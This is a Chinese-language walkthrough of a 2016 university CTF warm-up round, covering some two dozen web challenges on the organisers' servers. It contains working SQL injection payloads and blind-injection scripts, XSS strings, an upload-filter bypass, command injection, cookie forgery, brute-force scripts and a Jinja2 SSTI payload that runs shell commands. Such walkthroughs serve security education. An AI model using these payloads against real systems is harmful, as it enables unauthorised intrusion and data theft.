0%

2016合天全国高校网安联赛-赛前指导赛web Writeup

讲真,这次的题确实价值不很大,脑洞太多了,而且很多无意义的脑洞,不过个别题还可以,另外第16题和21题没有做出来,希望有做出来的菊苣给点hint

题目1

先看源码,然后看到可以链接Index.php, 跟过去看到flag A HIDDEN FLAG: FLAG{th!5!5n0tth3fl@g}

题目2

先用firefox把submit的disable去掉 然后勾选好抓包,把提交参数修改如下: [object Object]

题目3

同样抓包,把cookie中的Member参数修改为Admin的base64的编码 这里写图片描述

题目4

一道简单php代码审计 payload如下:

http://218.76.35.75:20114/?foo={"bar1":"2017f","bar2":[[1,1],1,1,1,1]}&cat[0]=123&cat[1][]=1&dog=%00htctf2016

拿到flag

flag{php_i5_n0t_b4d}

题目5

bobsam的MD5解出来分别是bob317sam429,没有什么规律,写个脚本简单爆破一下slash后面的数字,

import requests
import hashlib
r=requests.session()
url="http://218.76.35.75:20115/index.php"
for i in xrange(1000):
    header={"User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"}
    param=hashlib.md5("slash"+str(i)).hexdigest()
    tmpurl=url+"?page="+param
    print tmpurl
    result=r.get(tmpurl,headers=header)
    content=result.content
    if 'flag' in content or 'Flag' in content or 'FLAG' in content:
        print content
        print i
        break

爆破出数字是723,脚本截图 这里写图片描述

题目6

根据提示,是http头的注入,那就把头全都试一遍,发现注入点在referer参数,然后简单试试,发现可以报错注入,懒得写脚本了,这里也没啥过滤,直接暴库就可以了。 爆出的数据库名为ctf 该数据库里面有flagvisits两张表 然后在flag表里面有idflag两列 最后的payload如下:

2',extractvalue(1,concat(0x3c,(select group_concat(id,"==",flag) from flag))))#

结果截图如下 这里写图片描述

题目7

看题目,随便先上传一个图片,提示 这里写图片描述 随便上传个php又提示说只要jpg文件,ssctf2016的原题一枚 参照乌云漏洞:http://www.wooyun.org/bugs/wooyun-2015-0125982 如下图,把multipart/form-data变换一下大小写,再把第二个Content-Type改成图片类型image/jpeg,然后拿到flag 这里写图片描述

题目8

源码里面有一段js,跑出来结果如下

<iframe height=0 width=0 src="./fl0a.php">

那么直接进到fl0a.php里面,然后在cookie里面发现flag 这里写图片描述

题目9

简单的代码审计,直接给出payload

http://218.76.35.75:20124/index.php?heetian=he=abcd

拿到flag

题目10

讲真这个真是蛋疼好吧,根据提示alert document.domain, 随便试试没怎么过滤,只是会多出现一个img标签, 最开始我是这样的

'><script >alert(document.domain)</script>

明明没问题就是不出flag 后来改了下:

123' onerror=alert(document.domain)

然后就得点flag了,无语。。。。

题目11

根据提示说flag在/flag,直接把page参数改成/flag,然后进入页面看源码 这里写图片描述 得到flag所在,访问即得到flag

flag:F11elNcLud3Get

题目12

和题目5差不多,把cookie里面user改成admin之后,爆破guess值,最后是573. 代码如下:

import requests
r=requests.session()
url="http://218.76.35.75:20127/index.php"
for i in xrange(1000,0,-1):
    header=&#123;"Cookie":"user=admin;guess="+str(i)&#125;
    print header
    result=r.get(url,headers=header)
    content=result.content
    if 'flag' in content or 'Flag' in content or 'FLAG' in content:
        print content
        print i
        break

结果截图 这里写图片描述

题目13

试了试,基本毫无过滤,直接回显注入,然后脑洞大开,直接猜表明列名都是flag,然后就拿到flag了。。。。。 payload如下:

http://218.76.35.75:20101/index.php?name=admin' and 1=2 union select 1,2,group_concat(flag) from flag--+

这里写图片描述

题目14

上传一个图片马直接拿到flag

flag:uploadwithinclude

题目15

可以输入命令,果断用上|,开始命令执行, 试了半天发现好像只有ls命令可以用,算了,那就直接访问ls出来的文件把, 这里写图片描述 直接访问http://218.76.35.75:20105/3f83e03a1e4e65573ef11cca25048808 就拿到flag了

题目16

没做,求教

题目17

根据提示把RefererX-Forward-For改了,然后在相应头里面找到password,再MD5 解码之后是cafe,然后提交即可 这里写图片描述

题目18

提示了是kindeditor,然后随便点开一个js,得到kindeditor版本是4.1.7,那么就是KindEditor 4.1.7的泄漏路径问题,漏洞根源位于/php/file_manager_json.php, 访问之,得到 这里写图片描述

看到attached目录下有个flag_clue.php,访问,得到一串base64的倒置的字符串,反一下再解码得到flag

flag:{uveDoneAgreatJob}

题目19

各种看也没什么思路,上工具扫网页把,结果扫除了.git文件夹,好的,这下所有都有了 把所有东西爬下来,然后管他三七二十一,先恢复了再说

git ls-files -d | xargs -i git checkout {}

恢复后如下: 这里写图片描述 再逐个看看各个文件,然而还是没有flag,想到切换下分支,发现有三个分支 这里写图片描述 切换到1.0.0,然后再看看hack.php,flag出现了!截图如下: 这里写图片描述

题目20

提示是python,源码里面也看到了flask,试了试,果然在data处存在ssti 给一个遍历注册os模块的poc,

&#123;% for c in [].__class__.__base__.__subclasses__() %&#125; &#123;% if c.__name__ == 'catch_warnings' %&#125; &#123;% for b in c.__init__.func_globals.values() %&#125; &#123;% if b.__class__ == &#123;&#125;.__class__ %&#125; &#123;% if 'eval' in b.keys() %&#125; &#123;&#123; b['eval']('__import__("os").popen("ls").read()') &#125;&#125; &#123;% endif %&#125; &#123;% endif %&#125; &#123;% endfor %&#125; &#123;% endif %&#125; &#123;% endfor %&#125;

这样执行之后发现目录下有个473bfa63bfeb1e673d6d151a799af923.py,cat一下拿到flag 这里写图片描述

题目21

不知道,求教,实在不知道怎么过

题目22

真是不想吐槽这道题了,纯脑洞的题,真是折腾,直接上payload

shell[pass]=asdfasdf&shell[_SESSION][login]=asd&shell[login]=false

题目23

首先fuzz可以很容易得到存在一个admin账户,通过bool盲注拿到MD5后的密码,代码如下:

import requests
r=requests.session()
url="http://218.76.35.75:20108/"
ans=""
for i in xrange(1,40):
    for j in xrange(33,124):
        header=&#123;"User-Agent":"Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0","Cookie":"PHPSESSID=83ao17m0u0j98kqobp99vqvkl1"&#125;
        data=&#123;'username':'admin\' and(if(substring(password,'+str(i)+',1)=\''+chr(j)+'\',1,0)) and \'1\'=\'1',"password":"admin"&#125;
        result=r.post(url,data=data,headers=header)
        content=result.content
        if "密码错误" in content:
            ans+=chr(j)
            print ans
            break
print ans

得到admin对应的密码

0963617d2e0fbfb63cea9b6ff9d6febb

但是反解不出来,折腾半天之后,于是开始换思路,顺利的发现robots.txt然后顺着拿到了网页源码 根据源码顺利构造poc如下:

username=admin'%a0and%a01=2%a0union%a0select%a0"21232f297a57a5a743894a0e4a801fc3"%a0from%a0admin%a0where%a0'1'='1
&password=admin

题目24

脑洞,脑洞!!!,尼玛啊 脑洞进目录http://218.76.35.75:20116/flagishere/ 然后这里很简单绕过一下

uname=admin
&passwd=admin'||'1'='1
&submit=Submit

拿到flag

题目25

通过备份文件.index.php.swp拿到源代码,贴出主要部分


<?php
include 'db.php';
session_start();
if (!isset($_SESSION['login']))&#123;
  $_SESSION['login'] = 'guest'.mt_rand(1e5, 1e6);
  $login = $_SESSION['login'];
&#125;
if (isset($_POST['submit'])) &#123;
  if (!isset($_POST['id'], $_POST['vote']) || !is_numeric($_POST['id']))
      die('please select ...');
  $id = $_POST['id'];

  $vote = (int)$_POST['vote'];
  if ($vote > 5 || $vote < 1)

    $vote = 1;
  $q = mysql_query("INSERT INTO t_vote VALUES (&#123;$id&#125;, &#123;$vote&#125;, '&#123;$login&#125;')");
  $q = mysql_query("SELECT id FROM t_vote WHERE user = '&#123;$login&#125;' GROUP BY id");
  echo '<p><b>Thank you!</b> Results:</p>';
  echo '<table border="1">';
  echo '<tr><th>Logo</th><th>Total votes</th><th>Average</th></tr>';
  while ($r = mysql_fetch_array($q)) &#123;
      $arr = mysql_fetch_array(mysql_query("SELECT title FROM t_picture WHERE id = ".$r['id']));
      echo '<tr><td>'.$arr[0].'</td>';
      $arr = mysql_fetch_array(mysql_query("SELECT COUNT(value), AVG(value) FROM t_vote WHERE id = ".$r['id']));
      echo '<td>'.$arr[0].'</td><td>'.round($arr[1],2).'</td></tr>';
    &#125;
    echo '<br><a href="index.php">goBack</a><br>';

    exit;
&#125;
?>

先看过滤,发现并没有机会单次注入,可控的idvote都被卡死了数字类型,但是发现后门有直接$r['id'],那么id这里就存在二次注入,例如输入1 and 1=2 union select database()的16进制能成功进入数据库,然后再二次取出的时候直接带入了查询语句,就能成功回显数据库名。这样就能够构造进行二次注入了,但是这里好像有权限设定,访问不了information_schema库,结果脑洞了下,直接1 and 1=2 union select flag from t_flag,就拿到flag了,如下: